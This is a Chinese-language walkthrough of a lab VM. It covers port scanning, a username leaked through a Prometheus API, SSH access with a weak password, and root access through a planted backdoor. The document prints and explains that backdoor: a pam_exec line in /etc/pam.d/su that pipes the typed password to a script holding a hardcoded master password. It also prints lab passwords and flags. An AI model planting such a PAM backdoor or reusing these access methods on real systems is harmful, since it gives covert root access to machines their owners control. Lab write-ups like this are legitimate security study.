

群友靶机-Netdata

信息搜集

```
└─(root@kali)-[~]
└─# nmap 192.168.0.104 -p-
Starting Nmap 7.95 ( https://nmap.org ) at 2026-07-04 03:06 EDT
Nmap scan report for bogon (192.168.0.104)
Host is up (0.00057s latency).
Not shown: 65529 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
6667/tcp  open  irc
9090/tcp  open  zeus-admin
9100/tcp  open  jetdirect
19999/tcp open  dnp-sec
MAC Address: 08:00:27:D2:EE:92 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 1.80 seconds
```

开放端口

端口	服务	版本
22/tcp	SSH	OpenSSH 8.4p1 Debian 5+deb11u3
80/tcp	HTTP	Apache httpd 2.4.62 (Debian)
6667/tcp	IRC	InspIRCd-3
9090/tcp	HTTP	Golang net/http (Prometheus)
9100/tcp	HTTP	Node Exporter
19999/tcp	HTTP	NetData Embedded HTTP Server v1.29.3

开放了6个端口

WEB探测

对那些web端口扫目录的时候，发现9090和19999两个端口都有api接口，那么对这两个api接口进行基本的探测

```
http://192.168.0.104:9090/api/v1/status/config

{
  "status": "success",
  "data": {
    "activeTargets": [
      {
        "discoveredLabels": {
```

```

    "__address__": "localhost:9090",
    "__metrics_path__": "/metrics",
    "__scheme__": "http",
    "job": "hel2zy's job"
  },
  "labels": {
    "instance": "localhost:9090",
    "job": "hel2zy's job"
  },
  "scrapePool": "hel2zy's job",
  "scrapeUrl": "http://localhost:9090/metrics",
  "globalUrl": "http://Netdata:9090/metrics",
  "lastError": "",
  "lastScrape": "2026-07-04T03:13:04.164583505-04:00",
  "lastScrapeDuration": 0.002236049,
  "health": "up"
},
{
  "discoveredLabels": {
    "__address__": "localhost:9100",
    "__metrics_path__": "/metrics",
    "__scheme__": "http",
    "job": "hel2zy's job 2"
  },
  "labels": {
    "instance": "localhost:9100",
    "job": "hel2zy's job 2"
  },
  "scrapePool": "hel2zy's job 2",
  "scrapeUrl": "http://localhost:9100/metrics",
  "globalUrl": "http://Netdata:9100/metrics",
  "lastError": "",
  "lastScrape": "2026-07-04T03:13:00.495940439-04:00",
  "lastScrapeDuration": 0.018712816,
  "health": "up"
}
],
"droppedTargets": []
}
}

```

这里可以看见一个用户名hel2zy, 那么接下来就是对这个用户进行ssh密码的爆破了

先尝试一下弱口令,直接 `hel2zy:hel2zy` 进去了, 拿到了hel2zy用户的shell

```

└─(root@kali)-[~]
└─# ssh hel2zy@192.168.0.104
hel2zy@192.168.0.104's password:
Linux Netdata 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat Jul  4 01:51:07 2026 from 192.168.0.102

```

```
hel2zy@Netdata:~$ id
uid=1000(hel2zy) gid=1000(hel2zy) groups=1000(hel2zy)
```

hel2zy--ll(root)

先来三件套

```
hel2zy@Netdata:~$ sudo -l
[sudo] password for hel2zy:
Sorry, user hel2zy may not run sudo on Netdata.
hel2zy@Netdata:~$ find / -user root -perm /4000 2>/dev/null
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/mount
/usr/bin/su
/usr/bin/umount
/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/passwd
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmccrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/libexec/polkit-agent-helper-1
hel2zy@Netdata:~$ getcap -r / 2>/dev/null
```

没有发现异常的东西，接着拿linpeas.sh扫一下

```
===== Executable files potentially added by user (limit 70) (T1083)
2026-04-23+06:31:10.4055552640 /usr/bin/back
2026-04-23+06:11:22.3424658350 /usr/local/lib/security/pam_hardcoded.so
```

扫到了两个有用的文件,先看一下back的信息

```
hel2zy@Netdata:~$ cat /usr/bin/back
#!/bin/bash
exec 2>/dev/null
read -r entered_pass
if [ "$entered_pass" == "11104567" ]; then
    exit 0
else
    exit 1
fi
```

从 stdin 读取密码，与 11104567 比对，匹配返回 0，否则返回 1。

发现了ll用户在/etc/passwd 中存在 且UID=0

```
hel2zy@Netdata:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
```

```
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System
(admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time
Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network
Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
netdata:x:998:998::/var/lib/netdata:/bin/sh
beszel:x:106:113:System user for beszel-agent,,,:/nonexistent:/usr/sbin/nologin
prometheus:x:107:114:Prometheus daemon,,,:/var/lib/prometheus:/usr/sbin/nologin
hel2zy:x:1000:1000:,,,:/home/hel2zy:/bin/bash
11:$1$j9ruXTxd$THmFeJHOxIUv2EPKhAkQD0:0:0:xxoo,,,:/root:/bin/bash
```

经过尝试 11104567 是root的密码，也是11用户的密码

```
hel2zy@Netdata:~$ su 11
Password:
root@Netdata:/home/hel2zy# id
uid=0(root) gid=0(root) groups=0(root)
hel2zy@Netdata:~$ su root
Password:
root@Netdata:/home/hel2zy# id
uid=0(root) gid=0(root) groups=0(root)
```

Flag

```
root@Netdata:~# cat root.txt /home/hel2zy/user.txt
flag{root-45d64a8524e56b8534a9cd6eab8a5b8c}
flag{user-13697152c6a6e1bb379218331df16af4}
```

额外发现

通过root目录下的rootpass.txt文件进行对比，发现root的密码不是11104567

```
root@Netdata:~# cat rootpass.txt
N6s8cwhLY2I7TGgcN5mU
```

导致这个情况的原因应该是那个so文件

去看一下pam的配置目录下，是那个文件调用了这个/usr/bin/back

```
root@Netdata:/etc/pam.d# grep -rl /usr/bin/back
su
```

这里可以看到/etc/pam.d/su调用了usr/bin/back文件

看一下这个文件的内容

```
root@Netdata:/etc/pam.d# cat su
#
# The PAM configuration file for the shadow `su' service
#

# This allows root to su without passwords (normal operation)
auth      sufficient pam_rootok.so
auth [success=done default=ignore] pam_exec.so quiet expose_authtok
/usr/bin/back
# Uncomment this to force users to be a member of group root
# before they can use `su'. You can also add "group=foo"
# to the end of this line if you want to use a group other
# than the default "root" (but this may have side effect of
# denying "root" user, unless she's a member of "foo" or explicitly
# permitted earlier by e.g. "sufficient pam_rootok.so").
# (Replaces the `SU_WHEEL_ONLY' option from login.defs)
# auth      required    pam_wheel.so

# Uncomment this if you want wheel members to be able to
# su without a password.
# auth      sufficient pam_wheel.so trust

# Uncomment this if you want members of a specific group to not
# be allowed to use su at all.
# auth      required    pam_wheel.so deny group=nosu

# Uncomment and edit /etc/security/time.conf if you need to set
# time restraint on su usage.
# (Replaces the `PORTTIME_CHECKS_ENAB' option from login.defs
# as well as /etc/porttime)
# account   requisite   pam_time.so

# This module parses environment configuration file(s)
# and also allows you to use an extended config
# file /etc/security/pam_env.conf.
#
# parsing /etc/environment needs "readenv=1"
session     required    pam_env.so readenv=1
# locale variables are also kept into /etc/default/locale in etc
# reading this file *in addition to /etc/environment* does not hurt
session     required    pam_env.so readenv=1 envfile=/etc/default/locale

# Defines the MAIL environment variable
# However, userdel also needs MAIL_DIR and MAIL_FILE variables
# in /etc/login.defs to make sure that removing a user
# also removes the user's mail spool file.
# See comments in /etc/login.defs
#
```

```
# "nopen" stands to avoid reporting new mail when su'ing to another user
session optional pam_mail.so nopen

# Sets up user limits according to /etc/security/limits.conf
# (Replaces the use of /etc/limits in old login)
session required pam_limits.so

# The standard Unix authentication modules, used with
# NIS (man nsswitch) as well as normal /etc/passwd and
# /etc/shadow entries.
@include common-auth
@include common-account
@include common-session
```

分析一下这个文件，关键信息如下

```
auth [success=done default=ignore] pam_exec.so quiet expose_authtok
/usr/bin/back
```

实际效果

场景	结果
用户输入密码 11104567	/usr/bin/back 返回 0 → [success=done] 直接跳到认证栈末尾 → 绕过 shadow 验证，直接获得 root
用户输入其他密码	/usr/bin/back 返回 1 → [default=ignore] 静默忽略 → 继续 common-auth 标准密码验证
root 直接 su	pam_rootok.so 已返回成功 → 根本不会执行 /usr/bin/back → 无需密码直接通过

关键机制

- expose_authtok：PAM 将用户输入的密码通过 stdin 传给 /usr/bin/back
- [success=done]：脚本返回 0 时，跳过后续**所有**模块（含 shadow 验证），认证直接通过
- [default=ignore]：脚本返回非 0 时，静默回退到正常认证流程，不产生任何日志异常

简单来说，任何本地用户执行 su（目标为 UID=0 用户），只要输入后门密码 11104567，即可通过 PAM 认证并获得 root shell

这也就是明明root的密码是 N6s8cwhLY2I7TGgcN5mU，却可以用 11104567 进行切换且拿到rootshell